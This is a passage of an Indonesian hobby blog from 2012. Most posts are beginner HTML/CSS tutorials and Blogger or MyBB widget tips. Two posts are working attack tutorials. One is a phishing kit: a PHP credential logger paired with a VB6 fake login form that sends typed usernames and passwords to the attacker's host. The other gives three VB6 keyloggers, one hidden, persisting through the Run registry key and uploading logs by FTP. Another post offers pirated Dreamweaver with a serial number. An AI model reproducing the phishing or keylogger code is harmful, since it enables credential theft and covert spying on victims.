Sabtu, 30 Juni 2012

Test

sadsgfg

gbd
gdh
hd
hd
hde
hd

Jumat, 29 Juni 2012

Dasar HTML part 1

ok sekarang kita akan mempelajari tentang html



Yang pertama kita pelajari adalah mengedit format teks
- Membuat sekelompok ataupun satu huruf bold(B)/ Huruf Tebal
- Membuat sekelompok ataupun satu huruf mirig(i)
- Mengubah ukuran sekelompok ataupun satu huruf

A.  Membuat sekelompok ataupun satu huruf bold(B)/ Huruf Tebal

   Untuk membuat  sekelompok ataupun satu huruf bold(B)/ Huruf Tebal kita akan memakai kode berkut

<b>Teks nya</b> atau 
<p> teks biasa<b>teks yang di bold</b></p>
Sekarang kalian masukan kode berikut ke dalam notepad
<html>
<head>
<title>judul web</title>
</head>
<body>
isi dengn kode di atas tadi
</body>
</html>
dan save dengan nama
latihanhtml1.html
lalu buka dengan webbrowser kalian

B. Membuat sekelompok ataupun satu huruf mirig(i)

   Caranya sama Seperti yang di atas akan tetapi kode yang kita gunakan bukan <b> tetapi <i>
Contoh :
<i>teksnya</i> atau <p>teks biasa<i>teks yang di miringkan</i></p>
C. Mengubah ukuran sekelompok ataupun satu huruf

   Untuk mengubah ukuran dapat dengan banyak cara ,mulai dari cara menggunakan CSS dll
tetapi yang kita bahas kali ini yaitu 2 cara,antara lain :
- Dengan menggunakan heading
- Megedit

Cara pertama yaitu dengan menggunakan heading, Cara menggunakan heading yaitu
contoh :
<h1>heading 1
<h2>heading 2
<h3>heading 3
<h4>heading 4
<h5>heading 5
<h6>heading 6
Coaba kalian ulangi langkah yan tadi yang memasukan ke notepad lalu buka dengan webbrowser kalian.
Cara kedua yaitu denganmengedit
contoh :
kode <p> adalah untuk membuat paragraf baru dan jika di edit agar paragraf yang di buat dengan kode <p> ini bisa di atur besarnya yaitu dengan cara Menyisipkan Style/CSS secara inline

   Sebernarnya kita sudah pernah membahas yang tadi di posting
Dasar CSS #1 tapi saya akan membahasnya lagi di postingan kali ini

Contoh Menyisipkan Style/CSS secara inline
<html>
<head>
<title>judul web</title>
<body>
<p style="font-size:36px">b</p>
</body>
</html>
ulangi langkah yang memasukan ke notepad
Mungkin untuk kali ini saya hanya mengajarkan itu saya nanti akan yasa teruskan

Kamis, 28 Juni 2012

Cara memrubah cursor di Forum Mybb


stelah sebelumnya saya membuat artikel Cara memrubah cursor di blog sekarang saya akan menjelaskan tentang Cara memrubah cursor di Forum Mybb
scriptnya sama seperti pada blog tetapi di forum mybb beda penempatannya
ok langsung.

- masuk ke ACP(Admin Control Panel)
- masuk ke template & style
-  masuk ke template
- pilih templatekalian
- lalu klick Index Page Templates
- pilih index
- masukan kode berikut di bawah kode <body>
<style type="text/css">
body{cursor: url("URL gambar default"), auto;}
body a:hover{cursor: url("URL gambar ketika menyentuh link"), auto;}
</style>
- simpan dan lihat hasilnya

Rabu, 27 Juni 2012

CMS - Cms free/gratis Untuk Membuat Forum

Ni gan Yang Mau Bua Forum Silahkan Di pilih ,tpi ini yang free yang berbayar nanti di share

1. MYBB

Cms fee yang menurut ane paling bagus
mybb singkatan dari MyBulletinBoard board
Contoh Forum Yang Menggunakan CMS ini :
http://hacker-newbie.org/
http://garutcyber.org/forum/
Website Resmi :
http://www.mybb.com/

2.PHPBB

phpBB 1.0.0 dirilis pada 9 Desember 2000. Rilis terakhir dari versi 1.x adalah phpBB 1.4.4, yang dirilis pada tanggal 6 November 2001.

phpBB 2.0.x mulai dikembangkan pada tanggal 17 Februari 2001. phpBB versi 2.0.0 dirilis pada 4 April 2002. Walaupun pada rilis pertama hanya mendukung PHP 3, saat ini phpBB versi 2.0 memerlukan PHP 4.0.3 atau lebih. Rilis terakhir untuk versi 2.0.x adalah versi 2.0.22 dirilis pada 23 Desember 2006. Rilis untuk versi 2.0.x saat ini hanya terbatas untuk bugs, gangguan dan perbaikan keamanan.

Rilis terakhir untuk versi 3.x adalah 3.0 RC2 yang dirilis pada 24 Juni 2007. Saat ini, rilis terakhir phpBB 3.0 memerlukan PHP 4.3.3 atau lebih, dan kompatibel dengan PHP 5.

Sumber : Wiki

Website Resmi :
http://www.phpbb.com/

3. SMF

SMF singkatan dari simplemachinesfoum

Website resmi :
http://www.simplemachines.org/

4. Vanilla Forum

CMS ini di buat sangat minimalis.

Website Resmi :
http://vanillaforums.org/

5. AEF

Singkatan dari Advance Electron Forums
ane gag bgitu tahu CMS ini.

Website Resmi :
http://www.anelectron.com/

Cara membuat Spoiler Seperti Kaskus Di Forum Mybb

mungkin di antara kalian ada yang ke bingungan seperti saya sebelum mengetahui kode ini hahaha :D
Saya juga pernah membuat forum dari cms mybb, saya juga pernah ke bingungan gara-gara spoiler pingin kayak kaskus tapi gak nemu-nemu tapi akhirnya saya dapat menemukannya ternyata DI BLOG SAYA SENDIRI YANG LAMA, saya nge post untuk Cara membuat spoiler di blog Hahaha :D
dan setelah sedikit di modifikasi akhirnya bisa di pake deh di mybb :-)
Ok langsung :
- Masuk ke Admin CP
- masuk ke Configuration
- lalu ke myCode
- buat code baru dengan cara mengklik add new myode
- masukan di Regular Expression
\[spoiler=(.*?)\](.*?)\[/spoiler\]
 - lalu masukan di Replacement
Klick disini untuk meliat 
 - Simpan

Cara menggunakan
[spoiler=judulspoiler] isi spoiler [/spoiler]

hasilnya :

Spoiler For judul spoiler
di sini isi spoiler

Cara Membuat Blog/Website anti copas Copy Paste

langsung deh ni masukin di bawah kode
</head>


<SCRIPT type="text/javascript">if (typeof document.onselectstart!="undefined") {document.onselectstart=new Function ("return false");}else{document.onmousedown=new Function ("return false");document.onmouseup=new Function ("return true");}</SCRIPT>

Dasar untuk belajar CSS part1

Alat yang di butuhkan :
- browser
- notepad

ok gan sekarang yag kita akan pelajari adalah cara memasukan style/CSS ke dalam web kita
untuk cara memasukan style/CSS ada 3 cara, yaitu :
- dengan membuat link menuju ke style/css kita
- dengan menyisipkannya di html
- dengan memasukannya di tag html

Penjelasan :
Cara 1
dengan membuat link menuju ke style/css kita
contohnya :
<script type="text/javascript" src="http://alamatnya.com/namacssnya.css"tipe ="text/css">



Kalau dimasukan di kode html sehinggan menjadi :
<html>
<head>
<title>judul web</title>
<script type="text/javascript" src="http://alamatnya.com/namacssnya.css"tipe ="text/css">
 </head>
</html>

Cara 2
dengan menyisipkannya di html
contohnya :

<style type="text/css">
    html {
        overflow: hidden;
    }
    body {
        margin: 0px;
        padding: 0px;
        background: #000;
        position: absolute;
        width: 100%;
        height: 100%;
        filter: alpha(opacity=100);
    }
</style>
 di masukan ke HTML menjadi
<html>
<head>
<title>judul web</title>
<style type="text/css">
    html {
        overflow: hidden;
    }
    body {
        margin: 0px;
        padding: 0px;
        background: #000;
        position: absolute;
        width: 100%;
        height: 100%;
        filter: alpha(opacity=100);
    }
</style>
</head>
</html>
Coba kalian tulis kode di atas di notepad
lalu save dengan namanya.html
caranya saat memasukan nama filenya klik all file
lalu berinama
terserahkalian.html
lalu klik kanan open with
buka dengan browser kalian


 Cara 3
dengan memasukannya di tag html
Contohnya :
<p style="color:#999999 ; text-align:center ;">teksnya</p>


kode <p> adalah untuk membuat paragraf baru

di masukan ke html menjadi
<html>
<head>
<title>Judul Web</title>
</head>

<body>
<p style="color:#999999 ; text-align:center ;">teksnya</p>
</body>
</html>

Coba kalian tulis kode di atas di notepad
lalu save dengan namanya.html
caranya saat memasukan nama filenya klik all file
lalu berinama
terserahkalian.html
lalu klik kanan open with
buka dengan browser kalia

Cara Uninstall Avast dengan Avast Unistall Untility

ni buat yg mau ganti anti virus ane mo share Cara Uninstall Avast dengan Avast Unistall Untility

- Jalankan progam unistall untility aswclear5.exe (bila Belum Punya Download Disini Passwordnya :lahzblog.blogspot.com)
- pada saat memilih progam yg mau di unistall, pilih yg sesuai untuk di unistall
- jika kamu menginstall avast di fonder yg berbeda, terus pilih fonder di mn kamu menginstall avast tersebut
- klik tombol unistall. tunggu sampe selesai.
- setelah avast ter unistall, semuanya akan terhapus pada saat kamu meRestart komputer

AVG Anti-Virus FREE


ni gan langsung download gan

DisiniSumber

Avast Pro v7.0.1426

ni kenampakannya

Download DisiniSumber

Avast Free v7.0.1426

 Gak usah banya basa-basi langsing donlot



Download Disini
Sumber

Cara Membuat Phising Aplication

Pada posting kali ini saya akan mengajarkan tentang Phising program ini akan memberitahu apa yang di ketikan
di textbox dan IP'y program ini biasa dijadikan para hacker untuk memancing user yang tergiur akan keuntungn yang diberian program ini
misalnya si hacker membuat ini untuk ngehack token padahal program ini akan ngehack id user'y hahaha
untuk membuat program ini kalian membutuhkan hosting kalau saya pake 1freehosting.com OK seperti biasa langsung praktek

masuk ke hosting kalian lalu ke Filemanager lalu buat file dengan mengklik new File
setelah itu masukan kode berikut

<?php
$datum=date('d-m-Y / h:i:s a');
$email = $_GET[e];
$password = $_GET[p];
$ip = getenv ('REMOTE_ADDR');
$fl = fopen(Terserahkalian.txt', 'a');
fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
fclose($fl);
$ref = $_SERVER['HTTP_REFERER'];
header("location: $ref");
?>


lalu simpan dengan nama terserah.php

lalu buka VB6
Dan siapkan form dan module, form diberi nama frmUtama dan module diberi nama modConnect
lalu Masukan kode ini di modconnect  =

 Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8


'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function


lalu di frmUtama masukan 2 textbox, 1 command button dan 1 label
textbox pertama diberinama : txtUname
textbox kedua diberinama : txtPass

command button diberi nama : cmdLogin
command button diberi caption : &Login

label diberi nama : LBLInfo

masukan kode ini kedalam form

Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Maaf, Kmputer anda tidak terkoneksi ke internet"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "DI SINI CAPTION'Y"
End If
End Sub


nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini

Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://DomainKalin/NamaFile.php?e=" & _
  user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleep terserah kalian
Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If


Jangan lupa edit tulisan yang berwarna
untuk melihat hasil nanti file PHP tadi akan membuat fi txt yang di berinama di file PHP tadi
atau dengan cara

http://domainkamu.com/file.txt/

Selasa, 26 Juni 2012

cara membuat text area di blog

ni sekarang saya akan memberitahu kalian cara membuat text area di blog
caranya:

masukan kode di bawah ini di mna saja

<div><form name="copy"><div align="center"><input onclick="javascript:this.form.txt.focus();this.form.txt.select();" type="button" value="Select All"> </div><div align="center"></div><p align="center"><textarea style="WIDTH: 300px; HEIGHT: 144px" name="txt" rows="100" wrap="VIRTUAL" cols="55">
Simpan teks kalian disini
</textarea></p></div></form>

bla ingin di simpan di postingan

Cara membuat Tombol share melayang di blog

kali ini saya akan memberi tahu Cara membuat Tombol share melayang di blog
untuk membuat  Tombol share melayang di blog caranya masuk ke blogger
tataletak > addgadget
lalu masukan kode berikut



Cara membuat Text Menonjol/Submit/Button di blog

ni saya kasih kodenya
Masukan kode di bawah di mna sja mau di html/javascript atau di posting

<a href="URL"><input value="TEXT PADA TOMBOL" type="submit"></a>

kalau untuk di posting klik html di sebelah compose


text WARNA MERAH:ganti dengan  URL yang di tuju
text WARNA BIRU     :ganti dengan text yang akan di tampilkan di tombol

Cara membuat laman pada blog

caranya mudah kok
ni ikutin tutorial gambar


Cara membuat Judul Blog Berubah-ubah/berjalan

ok langsung saja :
masukan kode berikut di html/Javascript
<script language="JavaScript">
<!--
/*****Judul Blog Berjalan By Lahzblog.blogspot.com*****/

function tb5_makeArray(n){
this.length = n;
return this.length;
}



tb5_messages = new tb5_makeArray(5);
tb5_messages[0] = "__Lahz Blog__";
tb5_messages[1] = "Welcome_To_Lahz_Blog ";
tb5_messages[2] = "Terimakasih_Telah_Berkunjung";
tb5_messages[3] = "jangan_lupa_comment";
tb5_messages[4] = "Datang_Lagi_Nanti";
tb5_rptType = 'infinite';
tb5_rptNbr = 10;
tb5_speed = 80;
tb5_delay = 1200;
var tb5_counter=1;
var tb5_currMsg=0;
var tb5_stsmsg="";
function tb5_shuffle(arr){
var k;
for (i=0; i<arr.length; i++){
k = Math.round(Math.random() * (arr.length - i - 1)) + i;
temp = arr[i];arr[i]=arr[k];arr[k]=temp;
}
return arr;
}
tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
tb5_arr[i] = i;
tb5_sts[i] = "_";
}
tb5_arr = tb5_shuffle(tb5_arr);
function tb5_init(n){
var k;
if (n == tb5_arr.length){
if (tb5_currMsg == tb5_messages.length-1){
if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){
clearTimeout(tb5_timerID);
return;
}
tb5_counter++;
tb5_currMsg=0;
}
else{
tb5_currMsg++;
}
n=0;
tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
tb5_arr[i] = i;
tb5_sts[i] = "_";
}
tb5_arr = tb5_shuffle(tb5_arr);
tb5_sp=tb5_delay;
}
else{
tb5_sp=tb5_speed;
k = tb5_arr[n];
tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k);
tb5_stsmsg = "";
for (var i=0; i<tb5_sts.length; i++)
tb5_stsmsg += tb5_sts[i];
document.title = tb5_stsmsg;
n++;
}
tb5_timerID = setTimeout("tb5_init("+n+")", tb5_sp);
}
function tb5_randomizetitle(){
tb5_init(0);
}
tb5_randomizetitle();

//-->
</script>

- Ganti teks yang berwarna  dengan judul yang kalian inginkan
- simpan dan lihat hasilnya

Cara membuat ArchiveBlog Berscroll

Sebelumnya saya telah menjelaskan cara membuat popularpost berscroll sekarang saya akan menjelaskan tentang Cara membuat ArchiveBlog Berscroll
untuk membuat ArchiveBlog Berscroll cukup mudah
caranya masuk ke blogger > Edit HTML
lalu cari kode ]]>
dan masukan kode dibawah ini di atas kode ]]>

#BlogArchive1 .widget-content{
height:300px;
width:auto;
overflow:auto;
}
Untuk Penjelasannya sama seperti cara membuat popularpost berscroll
Sekian Cara membuat ArchiveBlog Berscroll

Cara membuat Popular Post berscroll

sekarang saya akan menjelaskan cara membuat popular post berscoll
untuk demo blog saya ini
ok langsung saja :

- pertama pastinya masuk ke blogger
-  lalu edit html
- lalu cari kode ]]></b:skin>

- lalu masukan kode di bawah ini diatas kode ]]></b:skin>
#PopularPosts1 .widget-content{
height:300px;
width:auto;
overflow:auto;
}
 Keterangan :
PopularPosts1 = Id Populerpostnya
height:300px; = tingginya

Cara Membuat/Memasang Like Box Di Blog

ni sekarang saya akan menerangkan tentang cara memasang/membuat likebox di blog

- Masuk ke Sini
- Lalu pilih likebox
- nanti akan seperti di bawah ini

- URL to like kelian masukan alamat fanspage kalian atau blog kalian
- Setalah selesai klick get code
- nanti kalian akan diberi kode
- masukan kode yang di atas di bawah kode <body>
- sementara yang di bawah masukan di html/javascript
- simpan dan lihat hasilnya

3 cara membuat keylogger

ni gan ane pnya 3 cara untuk membuat keylogger dengan visualbasic6 [VB6,

cara yang pertama :
pertama:pendekar:
- Buka VB & pilih standardEXE
- atur Form :
Visible : false
showintaskbar : false
- Buat 2 timer
- atur properti timer :
* timer1 interval = 1
* timer2 interval = 2
- lalu masukan kode :

Private Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal keyb As Long) As Integer
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

Private Sub Timer2_Timer()
If GetKeyPress(vbKeyA) Then
Dim Savefile As Long
    Savefile = FreeFile
Open "D:\xtricx.txt" For Output As #Savefile
Print #Savefile, Text1.Text
Close #Savefile
End If
End Sub

Penjelasan :
kode :
Open "D:\xtricx.txt" For Output As #Savefil
berfungsi untuk menyimpan hasil (xtricx.txt) adalah nama filenya,Sedangkan Kode :
If GetKeyPress(vbKeyA) Then
berfungsi apabila user menekan tombol A maka hasil akan disimpan :sinis:

Cara ke dua
- Buat 1 timer dan 1 textbox
- ubah interval timer1 menjadi "1"
- lalu masukan kode berikut

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
Cara 3
untuk cara yang satu ini kodenya panjang gan ,
1. jalankan VB dan pilih Standard EXE
2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik
3. tekan CTRL + T untuk membuka Components window
4. centang opsi Microsoft Internet Transfer Control 6.0
5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:


Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10

6. kode untuk:
timer1
‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
mated = mated + “a”
ElseIf GetAsyncKeyState(vbKeyB) Then
mated = mated + “b”
ElseIf GetAsyncKeyState(vbKeyC) Then
mated = mated + “c”
ElseIf GetAsyncKeyState(vbKeyD) Then
mated = mated + “d”
ElseIf GetAsyncKeyState(vbKeyE) Then
mated = mated + “e”
ElseIf GetAsyncKeyState(vbKeyF) Then
mated = mated + “f”
ElseIf GetAsyncKeyState(vbKeyG) Then
mated = mated + “g”
ElseIf GetAsyncKeyState(vbKeyH) Then
mated = mated + “h”
ElseIf GetAsyncKeyState(vbKeyI) Then
mated = mated + “i”
ElseIf GetAsyncKeyState(vbKeyJ) Then
mated = mated + “j”
ElseIf GetAsyncKeyState(vbKeyK) Then
mated = mated + “k”
ElseIf GetAsyncKeyState(vbKeyL) Then
mated = mated + “l”
ElseIf GetAsyncKeyState(vbKeyM) Then
mated = mated + “m”
ElseIf GetAsyncKeyState(vbKeyN) Then
mated = mated + “n”
ElseIf GetAsyncKeyState(vbKeyO) Then
mated = mated + “o”
ElseIf GetAsyncKeyState(vbKeyP) Then
mated = mated + “p”
ElseIf GetAsyncKeyState(vbKeyQ) Then
mated = mated + “q”
ElseIf GetAsyncKeyState(vbKeyR) Then
mated = mated + “r”
ElseIf GetAsyncKeyState(vbKeyS) Then
mated = mated + “s”
ElseIf GetAsyncKeyState(vbKeyT) Then
mated = mated + “t”
ElseIf GetAsyncKeyState(vbKeyU) Then
mated = mated + “u”
ElseIf GetAsyncKeyState(vbKeyV) Then
mated = mated + “v”
ElseIf GetAsyncKeyState(vbKeyW) Then
mated = mated + “w”
ElseIf GetAsyncKeyState(vbKeyX) Then
mated = mated + “x”
ElseIf GetAsyncKeyState(vbKeyY) Then
mated = mated + “y”
ElseIf GetAsyncKeyState(vbKeyZ) Then
mated = mated + “z”
ElseIf GetAsyncKeyState(vbKey0) Then
mated = mated + “0″
ElseIf GetAsyncKeyState(vbKey1) Then
mated = mated + “1″
ElseIf GetAsyncKeyState(vbKey2) Then
mated = mated + “2″
ElseIf GetAsyncKeyState(vbKey3) Then
mated = mated + “3″
ElseIf GetAsyncKeyState(vbKey4) Then
mated = mated + “4″
ElseIf GetAsyncKeyState(vbKey5) Then
mated = mated + “5″
ElseIf GetAsyncKeyState(vbKey6) Then
mated = mated + “6″
ElseIf GetAsyncKeyState(vbKey7) Then
mated = mated + “7″
ElseIf GetAsyncKeyState(vbKey8) Then
mated = mated + “8″
ElseIf GetAsyncKeyState(vbKey9) Then
mated = mated + “9″
ElseIf GetAsyncKeyState(vbKeyEscape) Then
mated = mated + “<Esc>”
ElseIf GetAsyncKeyState(vbKeySpace) Then
mated = mated + “<Space>”
ElseIf GetAsyncKeyState(vbKeyBack) Then
mated = mated + “<BackSpace>”
ElseIf GetAsyncKeyState(vbKeyDelete) Then
mated = mated + “<Canc>”
ElseIf GetAsyncKeyState(vbKeyDown) Then
mated = mated + “<Arrow down>”
ElseIf GetAsyncKeyState(vbKeyShift) Then
mated = mated + “<Shift>”
ElseIf GetAsyncKeyState(vbKeyTab) Then
mated = mated + “<Tab>”
ElseIf GetAsyncKeyState(vbKeyUp) Then
mated = mated + “<Arrow Up>”
ElseIf GetAsyncKeyState(vbKeyRight) Then
mated = mated + “<Right Arrow>”
ElseIf GetAsyncKeyState(vbKeyLeft) Then
mated = mated + “<Left Arrow>”
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
mated = mated + “<Page Up>”
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
mated = mated + “<Page Down>”
ElseIf GetAsyncKeyState(vbKeyF1) Then
mated = mated + “<F1>”
ElseIf GetAsyncKeyState(vbKeyF2) Then
mated = mated + “<F2>”
ElseIf GetAsyncKeyState(vbKeyF3) Then
mated = mated + “<F3>”
ElseIf GetAsyncKeyState(vbKeyF4) Then
mated = mated + “<F4>”
ElseIf GetAsyncKeyState(vbKeyF5) Then
mated = mated + “<F5>”
ElseIf GetAsyncKeyState(vbKeyF6) Then
mated = mated + “<F6>”
ElseIf GetAsyncKeyState(vbKeyF7) Then
mated = mated + “<F7>”
ElseIf GetAsyncKeyState(vbKeyF8) Then
mated = mated + “<F8>”
ElseIf GetAsyncKeyState(vbKeyF9) Then
mated = mated + “<F9>”
ElseIf GetAsyncKeyState(vbKeyF10) Then
mated = mated + “<F10>”
ElseIf GetAsyncKeyState(vbKeyF11) Then
mated = mated + “<F11>”
ElseIf GetAsyncKeyState(vbKeyF12) Then
mated = mated + “<F12>”
ElseIf GetAsyncKeyState(vbKeF13) Then
mated = mated + “<F13>”
ElseIf GetAsyncKeyState(vbKeyEnd) Then
mated = mated + “<FINISH>”
End If
End Sub
timer2
Private Sub Timer2_Timer()
Timer3.Enabled = True
Timer2.Enabled = False
End Sub
timer3
Private Sub Timer3_Timer()
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
timer4
Private Sub Timer4_Timer()
Timer5.Enabled = True
Timer4.Enabled = False
End Sub
timer5
Private Sub Timer5_Timer()
Timer6.Enabled = True
Timer5.Enabled = False
End Sub
timer6
Private Sub Timer6_Timer()
Dim file As String
    Dim ftpwebsite As String
        account = “Akun_web_mu”
        pswd = “Pass_web_mu”
        ftpwebsite = “ftp://alamat_web_mu.com”
    Inet1.URL = ftpwebsite
    Inet1.UserName = account
    Inet1.Password = pswd
    file = “log.txt”
        Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
    Do While Inet1.StillExecuting = True
          DoEvents
        Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
formPrivate Sub Form_Load()
‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
Set reg = CreateObject(“Wscript.shell”)
reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
Dim reani As Long
Dim mated As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
Timer1.Interval = reani + 150
End Sub
Private Sub mated_Change()
Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “
Close #1
End Sub
Sekian

Cara Membuat Alay Generator dengan Visual basic 6 [VB6]

langsung ajalah gak usah byak basa"
- Buat sebuah Module baru dan ketikkan :



Public Function Alay(ByVal Str As String) As String
Dim s As String, h As String, i As Integer
Str = LCase(Str)
For i = 1 To Len(Str)
s = Mid(Str, i, 1)
Select Case s
Case "a": s = "àáâãäåÀÁÂÃÄÅ@4"
Case "b": s = "ß8"
Case "c": s = "çÇ¢"
Case "d": s = "Ð"
Case "e": s = "èéêëÈÉÊË£3"
Case "g": s = "69"
Case "i": s = "ìíîïÌÍÎÏ¡!1"
Case "n": s = "ñÑ"
Case "o": s = "òóôõöøÒÓÔÕÖØ0"
Case "p": s = "þÞ"
Case "s": s = "$§5"
Case "t": s = "7"
Case "u": s = "ùúûüÙÚÛܵ"
Case "x": s = "×"
Case "y": s = "ýÿÝ¥"
Case Else: s = IIf(CInt(Rnd * 1) = 0, UCase(s), s)
End Select

Randomize
h = h & Mid(s, CInt(Rnd * (Len(s) - 1)) + 1, 1)
Next
Alay = h
End Function

- Selanjutnya, buat sebuah Form baru dengan 2 buah kontrol TextBox didalamnya.

Di bagian commandbuton masukan :

Text2.Text = Alay(Text1.Text)

- selesai.

Cara Membuat Daftar Isi Blog

Cara membuat daftar Isi Blog
Sekarang Saya akan menjelaskan tentang Cara membuat daftar isi blog. OK langsung praktek :

- Masuk ke Blogger
- lalu ke Tataletak
- tambah gadget dan tambahkan HTML/Javascript
- lalu masukan Kode Berikut :
<div style="overflow:auto;width:180px;height:300px;padding:10px;border:1px solid #eee"><script style="text/javascript" src="http://sites.google.com/site/barajajs/listofcontent/contents.js"></script><script src="http://URL blog agan/feeds/posts/default?max-results=9999&alt=json-in-script&callback=loadtoc"></script>
</div>
- Simpan Dan Lihathasilnya

Senin, 25 Juni 2012

Free Download Macromedia DreamWaeper 8 + Plus Serial Number

ni gan gak usah basa-basi langsung sedot :


Klick here to Download

Serialnya :

Klick Here To View

Membuat Efek Tampilan Loading Halaman [update]

ok sekarang saya akan memberi tahu cara membuat efek Loading pada blog
ok langsung saja :
- yang pertama masukan kode jquery berikut di atas kode </head> jika kalian sudah memasangnya berarti kalian tidak perlu lagi memasangnya
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'/>
- masukan kode css dibawah ini di atas kode ]]</b:skin>
#lahzloading{
position:fixed;
top:0;
left:0;
background-color:#000;
z-index:9999;
text-align:center;
width:100%;
height:100%;
padding-top:200px;
font-size:25px;
color:#fff;
display:none;
}
- Cari kode </head> dan masukan kode ini di atasnya
<script type='text/javascript'>
$(function() {
var siteURL = &quot;http://&quot; + top.location.host.toString();
var $internalLinks = $(&quot;a[href^=&#39;&quot;+siteURL+&quot;&#39;], a[href^=&#39;/&#39;], a[href^=&#39;./&#39;], a[href^=&#39;../&#39;], a[href^=&#39;#&#39;]&quot;);
$internalLinks.click(function() {
$(&#39;#page-loader&#39;).fadeIn(1500).delay(6000).fadeOut(1000);
});

// Hilangkan overlay saat diklik untuk mengatasi gangguan, terutama jika link internal diset dengan target=&#39;_blank&#39;
$(&#39;#page-loader&#39;).click(function() {
$(this).hide();
});
});
</script>
- Lalu masukan Kode Di bawah ini di bawah kode <body>
<div id='lahzloading'>
<span style='font-size:50px;font-weight:bold;'>Loading...</span></div>
 - simpan dan lihat hasinya
Teks yang berwarna bisa di ganti terserah kalian

Cara membuat semua link di blog membuka tab baru

langsung saja gak usah basa-basi :

- masuk ke blogger kalian
- pergi ke template
- edit html

- lalu cari Kode
<head>
- lalu letakan kode di bawah ini tepat di bawah kode <head>
<base target='_blank'/>  
Sumber : Edinofri.com

Cara merubah Cursor Blog

caranya mudah kok untuk merubah cursor blog.

- klick tataletak
- tambah gadget
- html/javascript
- lalu masukan kode berikut


<style type="text/css">
body{cursor: url("URL gambar 1"), auto;}
body a:hover{cursor: url("URL gambar 2"), auto;}
</style>
- lalu simpan


Penjelasam :
Gambar1 adalah gambar cursor yang defaultnya
Gambar 2 adalah gambar cursor yang Menyentuh Url/Link





Cara mengganti Cursor Blog
Cara merubah Cursor Blog Cara merubah Cursor Blog
Cara merubah Cursor Blog Cara mengganti Cursor Blog
Cara merubah Cursor Blog
Cara mengganti Cursor Blog
Cara mengganti Cursor Blog Cara mengganti Cursor Blog Cara mengganti Cursor Blog

Mendaftar ke 20 Search Engine sekaligus

caranya gampang kok gak usah satu persatu hanya mengisi url,name,email lalu submit deh
nih caranya

- klik tataletak
- add gadget
- html/java script
- lalu masukan kode di bawah ini
<script src="http://lahzz.tk/blog/js/js-form.cgi" type="text/javascript"></script>

Cara menghilangkan entri atom

untuk menghilangkan entri atom caranya mudah
kalian tinggal masuk ke edit html

lalu cari kode berikut dan hapus
<div class='feed-links'>
<data:feedLinksMsg/>
<b:loop values='data:links' var='f'>
<a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'><data:f.name/> (<data:f.feedType/>)</a>
</b:loop>
</div>
Selesai deh

Cara membuat Zoom Image

